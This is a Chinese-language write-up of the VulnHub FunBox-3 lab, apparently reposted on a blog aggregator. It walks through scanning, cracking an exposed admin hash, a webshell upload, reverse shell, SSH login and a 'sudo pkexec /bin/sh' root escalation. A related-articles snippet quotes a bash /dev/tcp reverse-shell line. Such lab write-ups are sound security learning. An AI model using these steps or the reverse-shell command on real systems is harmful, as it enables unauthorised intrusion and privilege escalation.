vulnhub靶场之FunBox-3

2024-05-06 01:04
文章标签 靶场 vulnhub funbox

本文主要是介绍vulnhub靶场之FunBox-3,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一.环境搭建

1.靶场描述

Boot2Root ! Easy going, but with this Funbox you have to spend a bit more time. Much more, if you stuck in good traps. But most of the traps have hints, that they are traps.
If you need hints, call me on twitter: @0815R2d2
Have fun...
This works better with VirtualBox rather than VMware
This works better with VirtualBox rather than VMware.
 

2.靶场下载

https://www.vulnhub.com/entry/funbox-easy,526/
 

image-20240428193308105

3.靶场启动

image-20240428204405594

我们不知道靶场的ip地址,但是我们知道靶场网段是192.168.2.0

二.信息收集

1.探测靶场真实ip地址

nmap -sP 192.168.2.0/24
 

image-20240428204631868

arp-scan -l
 

image-20240428204742404

通过上面2个命令,我们知道靶场真实ip地址为

192.168.2.10
 

2.探测端口及服务

探测发现22端口,服务为ssh
探测发现80端口,服务为apache2
探测发现33060端口,服务为mysql
 

三.渗透测试

1.访问web服务

http://192.168.2.10
 

image-20240428205644873

访问发现是一个apache2页面

2.扫描web服务

1)棱洞3.0指纹识别

./EHole_linux_amd64 finger -u http://192.168.2.10
 

image-20240428205945043

还是一个apache2页面

2)nikto扫描网站结构

nikto -h http://192.168.2.10
 

image-20240428210218507

扫描到4个敏感信息,我们进行一一访问

http://192.168.2.10/admin
 

image-20240428210320497

发现是一个登录页面,可以想到密码爆破

http://192.168.2.10/secert
 

image-20240428210405747

没有任何有用的信息

http://192.168.2.10/store
 

image-20240428210451780

http://192.168.2.10/store/admin.php
 

image-20240429211738306

还是一个登录页面

3)disearch目录扫描

dirsearch -u 192.168.2.10 -e * -x 403 --random-agent
 

image-20240428211132889

多了一个robots.txt,我们进行访问

192.168.2.10/robots.txt
 

image-20240428211311090

192.168.2.10/gym

image-20240428211353997

还是没有用,我们可以试试dirb目录扫描,试试看能不能扫描出来有用的信息

4)dirb目录扫描

dirb http://192.168.2.10
 

image-20240428213629387

我们可以看到扫描出来一个数据库,我们进行访问

http://192.168.2.10/store/database
 

image-20240429210423489

访问到2个敏感信息,我们进行访问

image-20240429210535214

没有什么用,我们访问第二个

image-20240429210637492

我们发现了一个用户名和一个md5加密的密码,我们进行解密

image-20240429210857604

用户名和密码都是admin,我们进行登录
 

3.渗透测试

1)登录

http://192.168.2.10/admin
 

image-20240429211635153

我们发现登录不了,那么我们试试另一个登录页面

http://192.168.2.10/store/admin.php
 

image-20240429212017304

我们发现登录成功,我们寻找漏洞

2)文件上传漏洞

image-20240429212048307

image-20240429212659349

我们上传一句话木马,可以看到上传成功,我们进行反弹shell

image-20240429212542731

image-20240429212752014

3)查看目录

我们在/home/目录下发现了tony,我们进行查看

image-20240429214718631

我们可以看到ssh登录的密码

image-20240429214857388

4)ssh登录

既然我们知道了ssh登录的密码,那么我们进行登录即可

image-20240429215023910

我们可以看到登录成功,我们查看权限是tony,那么我们进行提权

5)提权

我们使用sudo -l查看

image-20240429215138385

我们发现了pkexec,我们进行提权

pkexec是一个SUID-root程序,默认安装在每个主要的Linux发行版上。这个容易被利用的漏洞允许任何没有相关权限的用户通过利用默认配置中的这个漏洞获得脆弱主机上的完全根权限
Polkit(以前是PolicyKit)是一个用于控制类unix操作系统中的系统权限的组件。它为非权限进程提供了一种有组织的方式来与权限进程进行通信。还可以使用polkit来执行具有更高权限的命令,使用命令pkexec,后面跟着要执行的命令(具有根权限)。
 
sudo pkexec /bin/sh
 

image-20240429215636069

此靶场比较简单,都是基础的知识,没有什么难度。

至此获取到了所有得flag,渗透测试结束。

这篇关于vulnhub靶场之FunBox-3的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/963128

相关文章

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

log4j靶场,反弹shell

1.用vulhub靶场搭建,首先进入目录CVE-2021-44228中,docker启动命令 2.发现端口是8983,浏览器访问http://172.16.1.18:8983/ 3.用dnslog平台检测dns回显,看看有没有漏洞存在 4.反弹shell到kali(ip为172.16.1.18)的8888端口 bash -i >& /dev/tcp/172.16.1.18

红日靶场----(四)1.后渗透利用阶段

使用Metasploit进入后渗透利用阶段     一旦我们获取了目标主机的访问权限,我们就可以进入后渗透利用阶段,在这个阶段我们收集信息,采取措施维护我们的访问权限,转向其他机器     Step01:上线MSF(通过metasploit获取目标系统的会话-即SHELL) 常用选项-p //指定生成的Payload--list payload //列出所支持的Payload类

【红日靶场】ATTCK实战系列——红队实战(一)手把手教程

目录 入侵网络的思路 一些概念 (1)工作组 (2)域 (3)账号 红日靶机(一) 网络结构 下载 配置web服务器的两张网卡 配置内网的两台机器(域控和域内主机) 渗透web服务器 外网信息搜集 (1)外网信息搜集的内容 (2)开始信息搜集(主要是利用工具) 漏洞利用 (1)漏洞利用的两种方式 (2)利用phpMyAdmin (3)开启3389端口远程桌面

tomato靶场攻略

1.使用nmap扫描同网段的端口,发现靶机地址 2.访问到主页面,只能看到一个大西红柿 3.再来使用dirb扫面以下有那些目录,发现有一个antibot_image 4.访问我们扫到的地址 ,点金目录里看看有些什么文件 5.看到info.php很熟悉,点进去看看   6.查看源代码发现是通过GET方式传参的 ,有文件包含漏洞 7. 利用文件包含漏洞,我们尝试查看一

Tomato靶场渗透测试

1.扫描靶机地址 可以使用nmap进行扫描 由于我这已经知道靶机地址 这里就不扫描了 2.打开网站 3.进行目录扫描 dirb    http://172.16.1.113 发现有一个antibot_image目录 4.访问这个目录 可以看到有一个info.php 5.查看页面源代码 可以发现可以进行get传参 6.尝试查看日志文件 http://172.16

攻防世界 —— 靶场笔记合集

靶场地址:https://adworld.xctf.org.cn/ 备注:此为靶场笔记合集的目录,是我接下来待更新的内容(主要是因为主线一篇太耗时间了,所以开通一条支线,来满足我日更两篇的目标,当该靶场更新完毕后,此条注释会删除) 0x01:Misc 0x02:Pwn 0x03:Web 0x0301:Web - Level 1 0x04:Reverse 0x05:Crypto

【靶场】upload-labs-master(前11关)

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】upload-labs-master(前11关) 第一关 Pass-01第二关 Pass-02第三关 Pass-03第四关 Pass-04第五关 Pass-05第六关 Pass-06第七关 Pass-07第八关 Pass-08第九关 Pass-09第十关 Pass-10第

pikachu文件包含漏洞靶场通关攻略

本地文件包含 先上传一个jpg文件,内容写上<?php phpinfo();?> 上传成功并且知晓了文件的路径 返回本地上传,并../返回上级目录 可以看到我们的php语句已经生效 远程文件包含 在云服务器上创建一个php文件 然后打开pikachu的远程文件包含靶场,随便选一个提交 在filename处修改为云服务器的目标地址 127.0.0.1/pik

【靶场】CTFshow—vip限免题目11~20

🏘️个人主页: 点燃银河尽头的篝火(●’◡’●) 如果文章有帮到你的话记得点赞👍+收藏💗支持一下哦 【靶场】CTFshow—vip限免题目11~20 域名txt记录泄露敏感信息公布内部技术文档泄露编辑器配置不当密码逻辑脆弱探针泄露CDN穿透js敏感信息泄露前端密钥泄露数据库恶意下载 域名txt记录泄露 提示:域名其实也可以隐藏信息,比如ctfshow.com 就